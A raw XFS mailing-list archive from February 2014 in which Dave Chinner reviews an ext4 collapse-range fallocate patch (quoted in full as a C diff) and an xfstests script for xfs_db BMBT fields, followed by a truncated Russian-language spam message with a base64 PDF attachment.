minrecs first shift maxrecs + 1 minrecs minrecs split maxrecs / 2 minrecs minrecs second shift maxrecs/2 + 1 minrecs - 1 minrecs merge merge minrecs*2 - 1 (freed) So the question is whether the transaction reservations (both log space and block allocation requirements) are covered. > + error = xfs_bmap_shift_extents(tp, ip, &done, start_fsb, > + shift_fsb, ¤t_ext, > + &first_block, &free_list, 2); And that should really have a #define associated with it. ie.: #define XFS_BMAP_MAX_SHIFT_EXTENTS 2 And document the constraints that lead to that number with the definition. Overall, all I'm really looking for here is sufficient comments to document the constraints the code is operating under. Functionally the code looks correct (apart from the branch above I can't work out). Mostly I just want to make sure that in a couple of years time I don't have to work it all out from first principles again. ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 10 17:35:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AAE0B7F3F for ; Mon, 10 Feb 2014 17:35:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1D1A2AC00C for ; Mon, 10 Feb 2014 15:35:07 -0800 (PST) X-ASG-Debug-ID: 1392075303-04cbb00c2b2523e0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id NtXv7jwNg5Cznmq6 for ; Mon, 10 Feb 2014 15:35:04 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuwHAIBh+VJ5LGaB/2dsb2JhbABZgwyDPrZUhVCBFhd0giUBAQUnExweBRAIAw4HAwklDwUlAyETiATJaxcWjmcHhDgEmCqKT4dSgW+BUig Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Feb 2014 10:05:02 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD0NN-0003ZV-Sq; Tue, 11 Feb 2014 10:34:57 +1100 Date: Tue, 11 Feb 2014 10:34:57 +1100 From: Dave Chinner To: Namjae Jeon Cc: viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: <20140210233457.GY13647@dastard> X-ASG-Orig-Subj: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate References: <1391319874-3203-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391319874-3203-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392075303 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145009 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 02, 2014 at 02:44:34PM +0900, Namjae Jeon wrote: > From: Namjae Jeon > > Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > Signed-off-by: Namjae Jeon > Signed-off-by: Ashish Sangwan Can someone more familiar with ext4 please look at this? I'm happy to stage this through the XFS tree if it's ok, but I'll need a reviewed-by tag before I take it. If the XFS code is ready to go before the ext4 stuff, then I'll just take the XFS functionality and the ext4 stuff can go through the ext4 tree at a later date... Cheers, Dave. > --- > fs/ext4/ext4.h | 3 + > fs/ext4/extents.c | 297 ++++++++++++++++++++++++++++++++++++++++++- > fs/ext4/move_extent.c | 2 +- > include/trace/events/ext4.h | 25 ++++ > 4 files changed, 325 insertions(+), 2 deletions(-) > > diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h > index e618503..5cc015a 100644 > --- a/fs/ext4/ext4.h > +++ b/fs/ext4/ext4.h > @@ -2745,6 +2745,7 @@ extern int ext4_find_delalloc_cluster(struct inode *inode, ext4_lblk_t lblk); > extern int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, > __u64 start, __u64 len); > extern int ext4_ext_precache(struct inode *inode); > +extern int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len); > > /* move_extent.c */ > extern void ext4_double_down_write_data_sem(struct inode *first, > @@ -2754,6 +2755,8 @@ extern void ext4_double_up_write_data_sem(struct inode *orig_inode, > extern int ext4_move_extents(struct file *o_filp, struct file *d_filp, > __u64 start_orig, __u64 start_donor, > __u64 len, __u64 *moved_len); > +extern int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, > + struct ext4_extent **extent); > > /* page-io.c */ > extern int __init ext4_init_pageio(void); > diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c > index 267c9fb..12338c1 100644 > --- a/fs/ext4/extents.c > +++ b/fs/ext4/extents.c > @@ -4566,12 +4566,16 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) > unsigned int credits, blkbits = inode->i_blkbits; > > /* Return error if mode is not supported */ > - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) > + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | > + FALLOC_FL_COLLAPSE_RANGE)) > return -EOPNOTSUPP; > > if (mode & FALLOC_FL_PUNCH_HOLE) > return ext4_punch_hole(inode, offset, len); > > + if (mode & FALLOC_FL_COLLAPSE_RANGE) > + return ext4_collapse_range(inode, offset, len); > + > ret = ext4_convert_inline_data(inode); > if (ret) > return ret; > @@ -4870,3 +4874,294 @@ int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, > ext4_es_lru_add(inode); > return error; > } > + > +/* > + * ext4_access_path: > + * Function to access the path buffer for marking it dirty. > + * It also checks if there are sufficient credits left in the journal handle > + * to update path. > + */ > +static int > +ext4_access_path(handle_t *handle, struct inode *inode, > + struct ext4_ext_path *path) > +{ > + int credits, err; > + > + /* > + * Check if need to extend journal credits > + * 3 for leaf, sb, and inode plus 2 (bmap and group > + * descriptor) for each block group; assume two block > + * groups > + */ > + if (handle->h_buffer_credits < 7) { > + credits = ext4_writepage_trans_blocks(inode); > + err = ext4_ext_truncate_extend_restart(handle, inode, credits); > + /* EAGAIN is success */ > + if (err && err != -EAGAIN) > + return err; > + } > + > + err = ext4_ext_get_access(handle, inode, path); > + return err; > +} > + > +/* > + * ext4_ext_shift_path_extents: > + * Shift the extents of a path structure lying between path[depth].p_ext > + * and EXT_LAST_EXTENT(path[depth].p_hdr) downwards, by subtracting shift > + * from starting block for each extent. > + */ > +static int > +ext4_ext_shift_path_extents(struct ext4_ext_path *path, ext4_lblk_t shift, > + struct inode *inode, handle_t *handle, > + ext4_lblk_t *start) > +{ > + int depth, err = 0; > + struct ext4_extent *ex_start, *ex_last; > + bool update = 0; > + depth = path->p_depth; > + > + while (depth >= 0) { > + if (depth == path->p_depth) { > + ex_start = path[depth].p_ext; > + if (!ex_start) > + return -EIO; > + > + ex_last = EXT_LAST_EXTENT(path[depth].p_hdr); > + if (!ex_last) > + return -EIO; > + > + err = ext4_access_path(handle, inode, path + depth); > + if (err) > + goto out; > + > + if (ex_start == EXT_FIRST_EXTENT(path[depth].p_hdr)) > + update = 1; > + > + *start = ex_last->ee_block + > + ext4_ext_get_actual_len(ex_last); > + > + while (ex_start <= ex_last) { > + ex_start->ee_block -= shift; > + if (ex_start > > + EXT_FIRST_EXTENT(path[depth].p_hdr)) { > + if (ext4_ext_try_to_merge_right(inode, > + path, ex_start - 1)) > + ex_last--; > + } > + ex_start++; > + } > + err = ext4_ext_dirty(handle, inode, path + depth); > + if (err) > + goto out; > + > + if (--depth < 0 || !update) > + break; > + } > + > + /* Update index too */ > + err = ext4_access_path(handle, inode, path + depth); > + if (err) > + goto out; > + > + path[depth].p_idx->ei_block -= shift; > + err = ext4_ext_dirty(handle, inode, path + depth); > + if (err) > + goto out; > + > + /* we are done if current index is not a starting index */ > + if (path[depth].p_idx != EXT_FIRST_INDEX(path[depth].p_hdr)) > + break; > + > + depth--; > + } > + > +out: > + return err; > +} > + > +/* > + * ext4_ext_shift_extents: > + * All the extents which lies in the range from start to the last allocated > + * block for the file are shifted downwards by shift blocks. > + * On success, 0 is returned, error otherwise. > + */ > +static int > +ext4_ext_shift_extents(struct inode *inode, handle_t *handle, > + ext4_lblk_t start, ext4_lblk_t shift) > +{ > + struct ext4_ext_path *path; > + int ret = 0, depth; > + struct ext4_extent *extent; > + ext4_lblk_t stop_block, current_block; > + ext4_lblk_t ex_start, ex_end; > + > + /* Let path point to the last extent */ > + path = ext4_ext_find_extent(inode, EXT_MAX_BLOCKS - 1, NULL, 0); > + if (IS_ERR(path)) > + return PTR_ERR(path); > + > + depth = path->p_depth; > + extent = path[depth].p_ext; > + if (!extent) { > + ext4_ext_drop_refs(path); > + kfree(path); > + return ret; > + } > + > + stop_block = extent->ee_block + ext4_ext_get_actual_len(extent); > + ext4_ext_drop_refs(path); > + kfree(path); > + > + /* Nothing to shift, if hole is at the end of file */ > + if (start >= stop_block) > + return ret; > + > + /* > + * Don't start shifting extents until we make sure the hole is big > + * enough to accomodate the shift. > + */ > + path = ext4_ext_find_extent(inode, start - 1, NULL, 0); > + depth = path->p_depth; > + extent = path[depth].p_ext; > + ex_start = extent->ee_block; > + ex_end = extent->ee_block + ext4_ext_get_actual_len(extent); > + ext4_ext_drop_refs(path); > + kfree(path); > + > + if ((ex_start > start - 1 && shift > ex_start) || > + (ex_end > start - shift)) > + return -EINVAL; > + > + /* Its safe to start updating extents */ > + while (start < stop_block) { > + path = ext4_ext_find_extent(inode, start, NULL, 0); > + if (IS_ERR(path)) > + return PTR_ERR(path); > + depth = path->p_depth; > + extent = path[depth].p_ext; > + current_block = extent->ee_block; > + if (start > current_block) { > + /* Hole, move to the next extent */ > + ret = mext_next_extent(inode, path, &extent); > + if (ret != 0) { > + ext4_ext_drop_refs(path); > + kfree(path); > + if (ret == 1) > + ret = 0; > + break; > + } > + } > + ret = ext4_ext_shift_path_extents(path, shift, inode, > + handle, &start); > + ext4_ext_drop_refs(path); > + kfree(path); > + if (ret) > + break; > + } > + > + return ret; > +} > + > +/* > + * ext4_collapse_range: > + * This implements the fallocate's collapse range functionality for ext4 > + * Returns: 0 and non-zero on error. > + */ > +int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len) > +{ > + struct super_block *sb = inode->i_sb; > + ext4_lblk_t punch_start, punch_stop; > + handle_t *handle; > + unsigned int credits; > + unsigned int rounding; > + loff_t ioffset, new_size; > + int ret; > + unsigned blksize_mask = (1 << inode->i_blkbits) - 1; > + > + BUG_ON(offset + len > i_size_read(inode)); > + > + /* Collapse range works only on fs block size aligned offsets. */ > + if (offset & blksize_mask || len & blksize_mask) > + return -EINVAL; > + > + if (!S_ISREG(inode->i_mode)) > + return -EOPNOTSUPP; > + > + if (EXT4_SB(sb)->s_cluster_ratio > 1) > + return -EOPNOTSUPP; > + > + /* Currently just for extent based files */ > + if (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) > + return -EOPNOTSUPP; > + > + if (IS_SWAPFILE(inode)) > + return -ETXTBSY; > + > + trace_ext4_collapse_range(inode, offset, len); > + > + punch_start = offset >> EXT4_BLOCK_SIZE_BITS(sb); > + punch_stop = (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb); > + > + rounding = max_t(uint, 1 << EXT4_BLOCK_SIZE_BITS(sb), PAGE_CACHE_SIZE); > + ioffset = offset & ~(rounding - 1); > + > + /* Write out all dirty pages */ > + ret = filemap_write_and_wait_range(inode->i_mapping, ioffset, -1); > + if (ret) > + return ret; > + > + /* Take mutex lock */ > + mutex_lock(&inode->i_mutex); > + > + /* Wait for existing dio to complete */ > + ext4_inode_block_unlocked_dio(inode); > + inode_dio_wait(inode); > + > + truncate_pagecache_range(inode, ioffset, -1); > + > + credits = ext4_writepage_trans_blocks(inode); > + handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); > + if (IS_ERR(handle)) { > + ret = PTR_ERR(handle); > + goto out_dio; > + } > + > + down_write(&EXT4_I(inode)->i_data_sem); > + > + ext4_discard_preallocations(inode); > + > + ret = ext4_es_remove_extent(inode, punch_start, > + EXT_MAX_BLOCKS - punch_start - 1); > + if (ret) > + goto journal_stop; > + > + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); > + if (ret) > + goto journal_stop; > + > + ret = ext4_ext_shift_extents(inode, handle, punch_stop, > + punch_stop - punch_start); > + if (ret) > + goto journal_stop; > + > + if ((offset + len) > i_size_read(inode)) > + new_size = offset; > + else > + new_size = i_size_read(inode) - len; > + > + truncate_setsize(inode, new_size); > + EXT4_I(inode)->i_disksize = new_size; > + > + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); > + ext4_mark_inode_dirty(handle, inode); > + > +journal_stop: > + ext4_journal_stop(handle); > + up_write(&EXT4_I(inode)->i_data_sem); > + > +out_dio: > + ext4_inode_resume_unlocked_dio(inode); > + mutex_unlock(&inode->i_mutex); > + return ret; > +} > diff --git a/fs/ext4/move_extent.c b/fs/ext4/move_extent.c > index 773b503..b474558 100644 > --- a/fs/ext4/move_extent.c > +++ b/fs/ext4/move_extent.c > @@ -76,7 +76,7 @@ copy_extent_status(struct ext4_extent *src, struct ext4_extent *dest) > * ext4_ext_path structure refers to the last extent, or a negative error > * value on failure. > */ > -static int > +int > mext_next_extent(struct inode *inode, struct ext4_ext_path *path, > struct ext4_extent **extent) > { > diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h > index 197d312..90e2f71 100644 > --- a/include/trace/events/ext4.h > +++ b/include/trace/events/ext4.h > @@ -2410,6 +2410,31 @@ TRACE_EVENT(ext4_es_shrink_exit, > __entry->shrunk_nr, __entry->cache_cnt) > ); > > +TRACE_EVENT(ext4_collapse_range, > + TP_PROTO(struct inode *inode, loff_t offset, loff_t len), > + > + TP_ARGS(inode, offset, len), > + > + TP_STRUCT__entry( > + __field(dev_t, dev) > + __field(ino_t, ino) > + __field(loff_t, offset) > + __field(loff_t, len) > + ), > + > + TP_fast_assign( > + __entry->dev = inode->i_sb->s_dev; > + __entry->ino = inode->i_ino; > + __entry->offset = offset; > + __entry->len = len; > + ), > + > + TP_printk("dev %d,%d ino %lu offset %lld len %lld", > + MAJOR(__entry->dev), MINOR(__entry->dev), > + (unsigned long) __entry->ino, > + __entry->offset, __entry->len) > +); > + > #endif /* _TRACE_EXT4_H */ > > /* This part must be outside protection */ > -- > 1.7.9.5 > > -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 10 18:34:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 728087F3F for ; Mon, 10 Feb 2014 18:34:21 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 526D9304064 for ; Mon, 10 Feb 2014 16:34:18 -0800 (PST) X-ASG-Debug-ID: 1392078855-04cb6c6de2260b70001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Jq7gJzw2wzBNHkrC for ; Mon, 10 Feb 2014 16:34:16 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuwHAIpv+VJ5LGaB/2dsb2JhbABZgwyDPrZUhVCBDxd0giUBAQU6HCMQCAMYCSUPBSUDIROIBMlxFxaOGk0HhDgEmCqSIYNBKIEt Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Feb 2014 11:04:11 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WD1Id-0003g8-Hh; Tue, 11 Feb 2014 11:34:07 +1100 Date: Tue, 11 Feb 2014 11:34:07 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: test setting XFS BMBT fields Message-ID: <20140211003407.GZ13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: test setting XFS BMBT fields References: <20140210231046.910977175@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140210231046.910977175@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392078855 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 10, 2014 at 05:10:43PM -0600, Mark Tinguely wrote: > Test the setting of the XFS BMBT fields. Runs through the valid > bit values for each field. Also test the value past the last legal > value. > > Additionally, ensures setting a core entry (core.gen is used) is > still correct. Test that the hex (#HH) input on a BMBT field and a > core entry are also correct. A couple of comments below. ... > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > + rm -f $tmp.* > +} > + > +_do_bit_test() > +{ > + _field="$1" > + _bits="$2" The leading "_" is reserved for library functions and variables, not local test variables. > + > + echo "testing ${_field} ${_bits} bits" | sed 's/u3/u/' > + $XFS_DB_PROG -x -c "inode $FILE_INO" -c "write ${_field} 0" \ > + $SCRATCH_DEV | sed 's/u3/u/' > + num=1 > + for n in `seq 0 1 ${_bits}`; do > + $XFS_DB_PROG -x -c "inode $FILE_INO" \ > + -c "write ${_field} ${num}" \ > + $SCRATCH_DEV | sed 's/u3/u/' On the third time, a local filter_xfs_db function is appropriate. ;) .... > +_scratch_unmount > +_scratch_mkfs >/dev/null 2>&1 > +_scratch_mount > + > +# create the test file > +echo "test file" > $SCRATCH_MNT/testfile > + > +# find the inode for the test file > +FILE_INO=`ls -i $SCRATCH_MNT |awk '{print $1}'` $SCRATCH_MNT/testfile? > + > +_scratch_unmount > + > +# test bit length constants > +BMBT_EXNTFLAG_BITLEN=1 > +BMBT_STARTOFF_BITLEN=54 > +BMBT_STARTBLOCK_BITLEN=52 > +BMBT_BLOCKCOUNT_BITLEN=21 > + > +# Which version of the filesystem? > +echo $XFS_MKFS_OPTIONS | grep "crc=1" > /dev/null > +if [ $? == 1 ]; then > + prefix="u" > +else > + prefix="u3" > +fi Urk. That's messy. And it points out that xfs/278 has this same problem. There's no reason that we need to test CRC enabled filesystems here, and testing XFS_MKFS_OPTIONS is not reliable, either as it will break if we change mkfs default behaviour. Perhaps we'd do best simply to change the xfs_db prefix here to be consistent for both v4 and v5 filesystesms ("u")? i.e. do this before we release 3.2.0 and we can just ignore the problem.... ..... > Index: b/tests/xfs/group > =================================================================== > --- a/tests/xfs/group > +++ b/tests/xfs/group > @@ -186,3 +186,4 @@ > 304 auto quick quota > 305 auto quota > 306 auto stress log metadata repair > +307 auto db Definitely a quick test, too. ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From molly@zoominternet.net Mon Feb 10 18:44:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.1 required=5.0 tests=FROM_12LTRDOM, T_OBFU_PDF_ATTACH autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C3E2C7F3F for ; Mon, 10 Feb 2014 18:44:45 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 64392AC00B for ; Mon, 10 Feb 2014 16:44:42 -0800 (PST) X-ASG-Debug-ID: 1392079478-04bdf0121f279a00001-NocioJ Received: from email.hansenet.de (mx02.hansenet.de [213.191.73.26]) by cuda.sgi.com with ESMTP id IbjYdPKm6Re2Fxr4 for ; Mon, 10 Feb 2014 16:44:39 -0800 (PST) X-Barracuda-Envelope-From: molly@zoominternet.net X-Barracuda-Apparent-Source-IP: 213.191.73.26 Received: from Unknown (222.35.61.196) by email.hansenet.de (8.5.113) (authenticated as otik@sgek-clan.de) id 529F2FAB04D80EFB; Tue, 11 Feb 2014 00:11:21 +0100 Message-ID: <66E27808CD794C4F9BF37955D7B5A3D8@bizs> Reply-To: =?windows-1251?B?w87R08TA0NHSwsXNzdvJIMrAxMDR0tAgz87R?= =?windows-1251?B?y8XHzdvVIMjRys7PwMXM29U=?= From: =?windows-1251?B?w87R08TA0NHSwsXNzdvJIMrAxMDR0tAgz87R?= =?windows-1251?B?y8XHzdvVIMjRys7PwMXM29U=?= To: , , , Subject: =?windows-1251?B?0ejx8uXs4CDz7/Dg4uvl7ej/IPTu7eTu7CDt?= =?windows-1251?B?5eTw?= Date: Tue, 11 Feb 2014 01:44:25 +0100 X-ASG-Orig-Subj: =?windows-1251?B?0ejx8uXs4CDz7/Dg4uvl7ej/IPTu7eTu7CDt?= =?windows-1251?B?5eTw?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_10D1_01CF26CA.CB1E65D0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: mx02.hansenet.de[213.191.73.26] X-Barracuda-Start-Time: 1392079478 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This is a multi-part message in MIME format. ------=_NextPart_000_10D1_01CF26CA.CB1E65D0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D1=E8=F1=F2=E5=EC=E0 =F3=EF=F0=E0=E2=EB=E5=ED=E8=FF =F4=EE=ED=E4=EE=EC =ED= =E5=E4=F0 ------=_NextPart_000_10D1_01CF26CA.CB1E65D0 Content-Type: application/octet-stream; name="=?windows-1251?B?x+Dq7u3u5ODy5ev88fLi7iDQ7vHx6Onx6u7p?= =?windows-1251?B?INTl5OXw4Pbo6CDuIO3l5PDg9S5wZGY=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?x+Dq7u3u5ODy5ev88fLi7iDQ7vHx6Onx6u7p?= =?windows-1251?B?INTl5OXw4Pbo6CDuIO3l5PDg9S5wZGY=?=" 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 